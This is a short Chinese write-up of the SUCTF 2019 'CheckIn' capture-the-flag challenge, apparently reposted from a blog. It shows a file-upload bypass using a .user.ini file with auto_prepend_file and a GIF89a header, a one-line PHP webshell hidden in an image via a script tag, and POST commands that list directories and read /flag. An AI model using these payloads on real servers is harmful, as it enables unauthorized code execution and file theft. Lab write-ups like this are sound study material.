[SUCTF 2019]CheckIn

一道上传绕过题,先上传一个图片,将一句话插入到图片末尾

上传后提示过滤了<??>

这个时候可以使用字典fuzz一下可以上传的文件类型,发现并没有过滤.htaccess和.user.ini

讲一下.htaccess和.user.ini的区别:

比起.htaccess文件构成的PHP后门,.user.ini文件比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以,.user.ini能让所有php文件都包含某个文件,可以是一句话木马

上传一个.user.ini文件然后包含我们的图片马

auto_prepend_file=a.jpg

上传后提示

 百度一下exif_imagetype函数

 可以通过添加一个文件头进行绕过

GIF89a
auto_prepend_file=test.jpg

auto_prepend_file参数的意思为:
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数

构造一个test.jpg图片马,关于绕过<??>可以使用js指定php来执行

GIF89a
<script language="php">eval($_POST['cmd']);</script>

上传成功后,直接使用一句话木马扫描根目录

post:cmd=var_dump(scandir("/"));

发现flag ,使用file_get_contents获取文件内容

post:cmd=var_dump(file_get_contents("/flag"));

原文地址:https://www.cnblogs.com/gtx690/p/13217656.html